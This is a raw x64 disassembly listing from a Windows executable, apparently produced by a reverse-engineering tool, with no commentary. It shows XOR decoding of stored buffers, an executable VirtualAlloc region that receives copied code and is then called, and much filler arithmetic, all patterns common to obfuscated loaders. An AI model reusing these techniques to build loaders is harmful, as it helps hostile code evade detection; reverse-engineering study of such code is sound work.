movdqa xmm15, xmmword [0x140044a30]
mov r12d, dword [0x14004e0a8]
cmp r12d, 2
jl 0x14001330f
xor edx, edx
movdqa xmmword [rsp + 0x50], xmm7
lea rcx, [rbp + 0x280]
mov r8d, dword [rsp + 0x50]
movdqa xmm8, xmmword [0x140044a50]
nop
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm15
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm5
pmuldq xmm1, xmm5
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm15
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm5
pmuldq xmm1, xmm5
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140013190
movsd xmm8, qword [rbp + 0xf0]
jmp 0x140013374
lea r10, [rbp + 0x280]
xor r9d, r9d
nop dword [rax]
mov eax, 0x5397829d
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
add r8b, 0x3f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x88
jl 0x140013320
lea rcx, [rbp + 0x310]
lea rax, [0x140000000]
lea rax, [rax + 0x44870]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov rax, qword [rax + 0xa0]
mov qword [rcx + 0xa0], rax
cmp r12d, 2
jl 0x140013592
xor r12d, r12d
mov edx, r12d
movdqa xmmword [rsp + 0x50], xmm7
lea rcx, [rbp + 0x310]
mov r8d, dword [rsp + 0x50]
movdqa xmm7, xmmword [0x140044a50]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm15
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm5
pmuldq xmm1, xmm5
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm7
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm15
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm5
pmuldq xmm1, xmm5
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm7
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa8
jl 0x140013420
jmp 0x1400135f4
lea r11, [rbp + 0x310]
xor r12d, r12d
mov r10d, r12d
nop
mov eax, 0x5397829d
imul r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx r9d, r10b
sub r9b, cl
add r9b, r9b
mov eax, 0x214d0215
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r9b, cl
add r9b, 0x3f
xor byte [r11], r9b
inc r10d
lea r11, [r11 + 1]
cmp r10d, 0xa8
jl 0x1400135a0
mov r8, qword [rbp - 0x80]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x210]
call fcn.14001de20
mov r14, rax
lea rax, [rbp + 0x280]
mov rsi, 0xffffffffffffffff
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140013620
mov rcx, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x14001366c
lea rax, [rcx + rsi]
mov qword [r14 + 0x10], rax
mov rax, r14
cmp rdx, 0xf
jbe 0x140013650
mov rax, qword [r14]
lea rdi, [rax + rcx]
mov r8, rsi
lea rdx, [rbp + 0x280]
mov rcx, rdi
call fcn.1400389b0
mov byte [rdi + rsi], 0
jmp 0x140013686
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x280]
mov rdx, rsi
mov rcx, r14
call fcn.14001e0d0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
lea rax, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rax, qword [rbp - 0x18]
mov qword [rbp + 0xf8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a8], xmm0
lea rsi, [rbp + 0x5518]
mov qword [rbp + 0x4b0], r15
mov qword [rbp + 0x4b8], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x4a8], rdi
mov qword [rsi], r12
mov ecx, r12d
lea r14, [0x14001df80]
mov rax, qword [0x140051b50]
test rax, rax
je 0x140013740
lea rdx, [0x140000000]
cmp rax, r14
je 0x14001372d
inc ecx
mov rax, qword [rdx + rcx*8 + 0x51b50]
test rax, rax
jne 0x140013717
jmp 0x140013740
mov eax, ecx
mov r9, qword [rdx + rax*8 + 0x51e80]
test r9, r9
jne 0x14001383d
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140013769
mov r9, r12
jmp 0x140013815
mov rax, r14
mov rcx, r9
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013772
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x4b8]
mov r15, qword [rbp + 0x4b0]
mov rdi, qword [rbp + 0x4a8]
mov rax, qword [0x140052e48]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x51b50], r14
mov qword [rcx + rax*8 + 0x51e80], r9
inc rax
mov qword [0x140052e48], rax
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0xf8]
mov rcx, rbx
call r9
nop
xor rdi, r15
mov qword [rbp + 0x4a8], rdi
mov qword [rsi], rdi
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140013897
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013892
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015a07
call fcn.14001f4b0
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x1400138e8
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400138e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015a0d
call fcn.14001f4b0
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], 0
call fcn.14001ecdc
mov edx, eax
lea rcx, [rbp + 0x1990]
call fcn.14001d600
mov dword [rbp + 0x3d8], 0xffffff9c
mov dword [rbp + 0x3dc], 0x64
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x100]
call fcn.140001580
mov rdi, qword [rbp + 0x100]
add rdi, 0x5f5e100
mov qword [rsp + 0x50], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f8], xmm1
mov qword [rbp + 0x408], r12
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x108], rbx
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x400]
cmp rdx, qword [rbp + 0x408]
je 0x1400139af
mov qword [rbp - 0x28], r12
mov qword [rdx], rax
add qword [rbp + 0x400], 8
mov rbx, qword [rbp + 0x108]
jmp 0x1400139c0
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x3f8]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x28]
mov esi, 1
test rcx, rcx
je 0x1400139d6
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x1400139e5
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x110], rbx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x400]
cmp rdx, qword [rbp + 0x408]
je 0x140013a2f
mov qword [rbp - 0x20], r12
mov qword [rdx], rax
add qword [rbp + 0x400], 8
mov rbx, qword [rbp + 0x110]
jmp 0x140013a40
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x3f8]
call fcn.14001e290
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140013a51
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x140013a60
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001f4b8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x118], r12
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x400]
cmp rdx, qword [rbp + 0x408]
je 0x140013aa0
mov qword [rbp - 0x60], r12
mov qword [rdx], rax
add qword [rbp + 0x400], 8
jmp 0x140013ab1
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x3f8]
call fcn.14001e290
nop
lea rcx, [rbp - 0x60]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x118]
call fcn.14001d4b0
lea rcx, [rbp + 0x120]
call fcn.14001da90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x3f8]
call fcn.14001d500
nop
lea rcx, [rbp + 0x20]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x120]
call fcn.14001d4b0
lea rcx, [rbp + 0x128]
call fcn.14001dac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x3f8]
call fcn.14001d500
nop
lea rcx, [rbp + 0x28]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x128]
call fcn.14001d4b0
lea rcx, [rbp + 0x130]
call fcn.14001daf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x3f8]
call fcn.14001d500
nop
lea rcx, [rbp + 0x30]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x130]
call fcn.14001d4b0
movsd xmm15, qword [0x140044aa0]
nop word [rax + rax]
call fcn.14001ecb0
mov rbx, rax
call fcn.14001ec94
mov rcx, rax
cmp rbx, 0x989680
jne 0x140013baf
imul rax, rcx, 0x64
jmp 0x140013c28
cmp rbx, 0x16e3600
jne 0x140013c0d
movabs r9, 0xb2f4fc0794908cf3
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140013c28
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1400146fe
mov dword [rsp + 0x40], r12d
nop word [rax + rax]
mov r12d, dword [rbp + 0x3d8]
btc r12d, 0x1f
mov dword [rsp + 0x60], r12d
mov r13d, dword [rbp + 0x3dc]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x1990]
cmp r13d, 0xffffffff
jne 0x140013c8c
call fcn.14001e850
lea esi, [r13 + 1]
mov r14d, r12d
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
jmp 0x140013d26
lea ebx, [r13 + 1]
call fcn.14001e850
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x140013cca
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x140013cca
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140013cb2
jmp 0x140013ccc
mov ebx, eax
mov r15d, r12d
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov edx, ebx
mov qword [rbp - 0x80], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r14d, r12d
cmp ecx, ebx
jae 0x140013d22
mov eax, ebx
neg eax
xor edx, edx
div ebx
cmp ecx, edx
jae 0x140013d22
mov edi, edx
mov r12, qword [rbp - 0x80]
mov r14d, r15d
mov esi, ebx
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, r12
cmp ecx, edi
jb 0x140013d02
mov r12d, dword [rsp + 0x60]
shr rcx, 0x20
lea eax, [rcx + r14]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x400]
mov r8, qword [rbp + 0x3f8]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x68], rbx
lea rcx, [rbp + 0x1990]
call fcn.14001e850
cmp r13d, 0xffffffff
jne 0x140013d75
mov ecx, eax
jmp 0x140013daf
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x140013dab
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x140013da6
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x140013d90
mov rbx, qword [rsp + 0x68]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rbx
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov ebx, 2
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140013dd2
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140013e20
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm15
addsd xmm0, xmm10
call fcn.140035420
movaps xmm7, xmm0
movaps xmm0, xmm11
call fcn.140034aa0
movaps xmm6, xmm0
movaps xmm0, xmm12
call fcn.140036ff0
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call fcn.140035020
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140013ec0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x140044a00]
call fcn.140035950
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140013f30
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call fcn.140037560
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
xor r13d, r13d
mov ecx, 0x30
call fcn.14001f4b8
mov rcx, rax
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4f0], 0x2c
mov qword [rbp + 0x4f8], 0x2f
movups xmm0, xmmword [str.legend_are_fine_label_that_and_the_of_was_in]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140044758]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140044768]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140044770]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], r13b
lea rbx, [rbp + 0x4e0]
cmp qword [rbp + 0x4f8], 0xf
cmova rbx, qword [rbp + 0x4e0]
lea rsi, [rbp + 0x4e0]
cmova rsi, qword [rbp + 0x4e0]
add rsi, qword [rbp + 0x4f0]
cmp rbx, rsi
je 0x140014067
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140014057
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140014040
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x140014020
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x410], xmm1
mov qword [rbp + 0x420], r13
mov ecx, 0x190
call fcn.14001f4b8
mov qword [rbp + 0x410], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x420], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1400385f0
mov qword [rbp + 0x418], r14
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1990]
mov qword [rbp + 0x1e8], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp - 0x80], xmm0
mov rsi, qword [rbp + 0x410]
cmp rsi, r14
je 0x140014114
mov rbx, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
nop dword [rax + rax]
mov rdx, rbx
mov rcx, r15
call fcn.14001d910
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1400140f0
mov r14, qword [rbp + 0x418]
mov rsi, qword [rbp + 0x410]
mov dword [rbp + 0x520], 0xffffff9c
mov dword [rbp + 0x524], 0x64
lea rax, [rbp + 0x520]
mov qword [rbp + 0x1b0], rax
lea rax, [rbp + 0x1990]
mov qword [rbp + 0x1b8], rax
movaps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x80], xmm0
cmp rsi, r14
je 0x140014188
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
nop dword [rax]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.14001d910
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140014160
mov r14, qword [rbp + 0x418]
mov rsi, qword [rbp + 0x410]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001e580
mov r8d, r13d
mov rax, qword [rbp + 0x410]
mov rdx, r13
mov r9, qword [rbp + 0x418]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x140014221
cmp rcx, 8
jb 0x140014221
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x1400141e0
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14001423c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140014230
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x3d8]
btc esi, 0x1f
mov r12d, dword [rbp + 0x3dc]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x1990]
cmp r12d, 0xffffffff
jne 0x14001428e
call fcn.14001e850
lea ebx, [rax + rsi]
xor ebx, 0x80000000
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
jmp 0x140014331
inc r12d
call fcn.14001e850
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x1400142ca
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x1400142ca
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x1400142b4
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x14001432d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14001432d
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140014310
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x3d8]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x3dc]
lea rcx, [rbp + 0x1990]
jne 0x1400143f9
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x1400143a4
call fcn.14001e850
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140014457
lea ebx, [rax + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1400143e6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400143e6
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1400143d0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140014457
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14001440e
call fcn.14001e850
mov ecx, eax
jmp 0x14001444a
lea ebx, [rax + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140014446
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140014446
lea rcx, [rbp + 0x1990]
call fcn.14001e850
